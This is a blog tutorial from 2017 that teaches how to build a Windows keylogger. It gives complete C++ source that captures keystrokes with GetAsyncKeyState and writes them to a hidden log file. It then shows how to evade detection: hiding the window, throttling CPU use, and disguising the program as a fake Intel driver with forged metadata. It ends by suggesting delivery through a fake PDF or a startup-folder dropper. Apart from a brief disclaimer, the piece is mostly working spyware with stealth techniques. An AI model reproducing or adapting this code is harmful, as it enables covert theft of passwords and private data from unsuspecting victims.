Spyware (Part 1)


Posted on August, 2017

Introduction

Note : This tutorial is for educationnal purposes only, do not use it for malicious purposes. Spreading malware is a crime and can be punishable by law.

A keylogger is a spyware, which records all the keys strucks by the keyboard used by someone. Keyloggers can be software-based or hardware-based. As a result the person using the keyboard is unaware that all their actions is recorded.
These malwares are often used to steal passwords, data. So we are going to show that it is easy to code one.

Functions

First we need to know how to record the keyboard. The funtion GetAsyncKeyState() in the winAPI do the job well. In fact when this function is called, it determines if a key is up and down. If the key is pressed at the time call, GetAsynKeyState returns the value -32767, then we can save the virtual-key code (ASCII code) of the key.

SHORT WINAPI GetAsyncKeyState(
  _In_ int vKey
);

In order to catch all the different keys of a keyboard, we are going to implement a loop that keeps all the ASCII values between 8 and 256.

while (1) {

        for (i = 8; i<256; i++) {

            if (GetAsyncKeyState(i) == -32767) {
                // Save the key
            }

        }
}

Now before storing the value of the key in a file it is important to determine if the upper key is pressed or not, if the shift key is up or down, and the same for the alt gr key. Remember, if you want to have good informations “a” is different from “A”.
So I create three functions which return the state of each key mentionned above.

int ismajpressed() {
    int result;

    result = GetKeyState(VK_SHIFT);
    if ((result == -127) || (result == -128)) return 1;
    else return 0;
}
int isalt() {
    int result;

    result = GetKeyState(VK_MENU);
    if ((result == -127) || (result == -128)) return 1;
    else return 0;
}
int ismaj() {

    if (((majuscule) && (!ismajpressed())) || ((!majuscule) && (ismajpressed())))
        return 1;
    else return 0;
}

As you can see I have used the GetKeyState function which returns -127 and -128 values if the key is down.

The last step of the algorithm is writting the key corresponding to the Ascii code catched by GetAsyncKeyState into a file. So I made a function save(), which first check if MAJ / ALT / SHIFT is up or down, then write the corresponding key of the Ascii value into a file.
I know it is a long long “case”

void save(int i) {

    char towrite;

    if ((i < 106) && (i > 95))  out << i - 48 << endl;

    else if ((i < 91) && (i > 64) && !ismaj()) out << i + 32 << endl;

    else if ((i < 91) && (i > 64) && ismaj()) out << i << endl;

    else switch (i) {

    case VK_MENU:
        out << "<alt>" << endl;
        break;

    case VK_BACK:
        out << "<delete>" << endl;
        break;

    case VK_DELETE:
        out << "<suppr>" << endl;
        break;

    case 9:
        out << "<TAB>" << endl;
        break;

    case VK_CONTROL:
        out << "<Ctrl>" << endl;
        break;

    case 32:
        out << " " << endl;
        break;

    case 49:
        if (ismaj()) out << "1" << endl;
        else out << "&" << endl;
        break;

    case 50:
        if (ismaj()) out << "2" << endl;
        else if (isalt())out << "~" << endl;
        else out << "é" << endl;
        break;

    case 51:
        if (ismaj())out << "3" << endl;
        else if (isalt())out << "#" << endl;
        else out << "<Guillements" << endl;
        break;

    case 52:
        if (ismaj())out << "4" << endl;
        else if (isalt())out << "{" << endl;
        else out << "'" << endl;
        break;


    case 53:
        if (ismaj())out << "5" << endl;
        else if (isalt())out << "[" << endl;
        else out << "(" << endl;
        break;

    case 54:
        if (ismaj())out << "6" << endl;
        else if (isalt())out << "|" << endl;
        else out << "-" << endl;
        break;

    case 55:
        if (ismaj())out << "7" << endl;
        else if (isalt())out << "`" << endl;
        else out << "è" << endl;
        break;

    case 56:
        if (ismaj())out << "8" << endl;
        else if (isalt()) out << "<slash" << endl;
        else out << "_" << endl;
        break;

    case 57:
        if (ismaj())out << "9" << endl;
        else if (isalt())out << "^" << endl;
        else out << "ç" << endl;
        break;

    case 48:
        if (ismaj())out << "0" << endl;
        else if (isalt())out << "@" << endl;
        else out << "à" << endl;
        break;

    case 41:
        out << ")" << endl;
        break;

    case 187:
        if (ismaj())out << "+" << endl;
        else if (isalt())out << "}" << endl;
        else out << "=" << endl;
        break;

    case 94:
        out << "^" << endl;
        break;

    case 186:
        if (ismaj())out << "£" << endl;
        else if (isalt())out << "¤" << endl;
        else out << "$" << endl;
        break;

    case 192:
        if (ismaj())out << "%" << endl;
        else out << "ù" << endl;
        break;

    case 42:
        out << "*" << endl;
        break;

    case 188:
        if (ismaj())out << "?" << endl;
        else out << "," << endl;
        break;

    case 190:
        if (ismaj())out << "." << endl;
        else out << ";" << endl;
        break;

    case 191:
        if (ismaj())out << "/" << endl;
        else out << ":" << endl;
        break;

    case 219:
        if (ismaj())out << "°" << endl;
        else if (isalt())out << "]" << endl;
        else out << ")" << endl;

    case 223:
        if (ismaj())out << "§" << endl;
        else out << "!" << endl;
        break;

    case 111:
        out << "/" << endl;
        break;


    case 109:
        out << "-" << endl;
        break;

    case 107:
        out << "+" << endl;
        break;

    case 110:
        out << "." << endl;
        break;
    }
}

At this point our keylogger is functionnal.

Obfuscation

Unfortunately, this keylogger will not be very faint, firstly we need to hide the console window of the application. You can find this way on the web :

HWND hwnd = GetForegroundWindow();
ShowWindow(hwnd, SW_HIDE)

But it is not the better way, your application will popup very quickly and warn the user. So I prefer to compile the program with the option “-mwindows”, after that the console will never pop when the keylogger is launched.

gcc -mwindows keylogger.c -o keylogger

Ok, great let’s look at the task manager.


article6

As we can see our keylogger is easy to identify, although it is called “keylogger”, the program uses a lot of system ressources (27.4%). In order to fix, this we can add some Sleep(), into the while loop like this :

while (1) {

        for (i = 8; i<256; i++) {


            if (GetAsyncKeyState(i) == -32767) {

                if ((GetKeyState(VK_CAPITAL) && 0x0001) != 0) majuscule = 1;
                else majuscule = 0;
                save(i);
            }

        }
        Sleep(60);
    }

60ms will be enough!

So rename your executable and let’s look at the task manager again


article6

PERFECT, now our keylogger will be much more difficult to detect.

More Obfuscation with Visual Studio

If you look at the “details” tab of the keylogger program, you will see no information. That can be weird for a fake Intel Driver, so I suggest you to create .rc file attach to your keylogger code and provide fake informations.


article6

Adding fake informations in the .rc file


article6

Great obfuscation !


article6

Here is the full code of the application on Visual Studio. I added a special function for my logger.txt which declare it as a hidden file. Furthermore my application is a windows application and not a console application this is why my main is different.

If you have not Visual Studio, just adapt the following code

// Intel Driver Helper.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"

#include<stdio.h>
#include<stdlib.h>
#include <windows.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>
#include <WinBase.h>
#include <iostream>
#include <fstream>

using namespace std;

string const file("logger");
ofstream out(file.c_str());

int majuscule;

void save(int i);
void hidden_file(void);

int ismajpressed(void);
int isalt(void);
int ismaj(void);


int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) {

    int i;

    hidden_file();

    while (1) {

        for (i = 8; i<256; i++) {


            if (GetAsyncKeyState(i) == -32767) {

                if ((GetKeyState(VK_CAPITAL) && 0x0001) != 0) majuscule = 1;
                else majuscule = 0;
                save(i);
            }

        }
        Sleep(60);
    }
    return 0;

}


void save(int i) {

    char towrite;

    if ((i < 106) && (i > 95))  out << i - 48 << endl;

    else if ((i < 91) && (i > 64) && !ismaj()) out << i + 32 << endl;

    else if ((i < 91) && (i > 64) && ismaj()) out << i << endl;

    else switch (i) {

    case VK_MENU:
        out << "<alt>" << endl;
        break;

    case VK_BACK:
        out << "<delete>" << endl;
        break;

    case VK_DELETE:
        out << "<suppr>" << endl;
        break;

    case 9:
        out << "<TAB>" << endl;
        break;

    case VK_CONTROL:
        out << "<Ctrl>" << endl;
        break;

    case 32:
        out << " " << endl;
        break;

    case 49:
        if (ismaj()) out << "1" << endl;
        else out << "&" << endl;
        break;

    case 50:
        if (ismaj()) out << "2" << endl;
        else if (isalt())out << "~" << endl;
        else out << "é" << endl;
        break;

    case 51:
        if (ismaj())out << "3" << endl;
        else if (isalt())out << "#" << endl;
        else out << "<Guillements" << endl;
        break;

    case 52:
        if (ismaj())out << "4" << endl;
        else if (isalt())out << "{" << endl;
        else out << "'" << endl;
        break;


    case 53:
        if (ismaj())out << "5" << endl;
        else if (isalt())out << "[" << endl;
        else out << "(" << endl;
        break;

    case 54:
        if (ismaj())out << "6" << endl;
        else if (isalt())out << "|" << endl;
        else out << "-" << endl;
        break;

    case 55:
        if (ismaj())out << "7" << endl;
        else if (isalt())out << "`" << endl;
        else out << "è" << endl;
        break;

    case 56:
        if (ismaj())out << "8" << endl;
        else if (isalt()) out << "<slash" << endl;
        else out << "_" << endl;
        break;

    case 57:
        if (ismaj())out << "9" << endl;
        else if (isalt())out << "^" << endl;
        else out << "ç" << endl;
        break;

    case 48:
        if (ismaj())out << "0" << endl;
        else if (isalt())out << "@" << endl;
        else out << "à" << endl;
        break;

    case 41:
        out << ")" << endl;
        break;

    case 187:
        if (ismaj())out << "+" << endl;
        else if (isalt())out << "}" << endl;
        else out << "=" << endl;
        break;

    case 94:
        out << "^" << endl;
        break;

    case 186:
        if (ismaj())out << "£" << endl;
        else if (isalt())out << "¤" << endl;
        else out << "$" << endl;
        break;

    case 192:
        if (ismaj())out << "%" << endl;
        else out << "ù" << endl;
        break;

    case 42:
        out << "*" << endl;
        break;

    case 188:
        if (ismaj())out << "?" << endl;
        else out << "," << endl;
        break;

    case 190:
        if (ismaj())out << "." << endl;
        else out << ";" << endl;
        break;

    case 191:
        if (ismaj())out << "/" << endl;
        else out << ":" << endl;
        break;

    case 219:
        if (ismaj())out << "°" << endl;
        else if (isalt())out << "]" << endl;
        else out << ")" << endl;

    case 223:
        if (ismaj())out << "§" << endl;
        else out << "!" << endl;
        break;

    case 111:
        out << "/" << endl;
        break;


    case 109:
        out << "-" << endl;
        break;

    case 107:
        out << "+" << endl;
        break;

    case 110:
        out << "." << endl;
        break;
    }
}

int ismajpressed() {
    int result;

    result = GetKeyState(VK_SHIFT);
    if ((result == -127) || (result == -128)) return 1;
    else return 0;
}

int isalt() {
    int result;

    result = GetKeyState(VK_MENU);
    if ((result == -127) || (result == -128)) return 1;
    else return 0;
}


int ismaj() {

    if (((majuscule) && (!ismajpressed())) || ((!majuscule) && (ismajpressed())))
        return 1;
    else return 0;
}

void hidden_file(void) {

    wchar_t* fileLPCWSTR = L"logger";

    SetFileAttributes(fileLPCWSTR, FILE_ATTRIBUTE_HIDDEN);
}

By now you can attach this executable into a fake PDF, or create a script, which will downloads your keylogger, copy it into the startup folder of your victim. You can also change the directory of the logger file, as example the path of a network share file. Another idea is to sign the code, in order to gain administrator access

Sources

https://stackoverflow.com/questions/24127117/using-fopen-s-in-c
https://msdn.microsoft.com/fr-fr/library/ms165410.aspx
https://stackoverflow.com/questions/1198110/is-there-an-equivelant-to-assemblyinfo-cs-in-a-win32-dll-project
http://www.originlab.com/doc/OriginC/ref/SetFileAttributes
https://msdn.microsoft.com/en-us/library/aa365535%28VS.85%29.aspx
https://msdn.microsoft.com/fr-fr/library/3600tzxa.aspx
https://stackoverflow.com/questions/8225078/how-to-set-compile-flag-bigobj-in-visual-studio
https://stackoverflow.com/questions/1283721/disable-showing-console-window


Presentation
Cyril Bresch is graduated from the Grenoble Institute of Technology, Esisar school in computer engineering. He is now a Phd Student within the LCIS lab from Univ. Grenoble Alps and Grenoble Institute of Technology in Valence, France. His research interests are computer security and processor architecture security.

Second place a CSAW 2k16 NYU :)
IEEE publication : "A Red Team Blue Team approach Towards a Secure Processor Design With a Hardware Shadow Stack"

You can contact me at cyril[dot]bresch[dot]fr[at]gmail[dot]com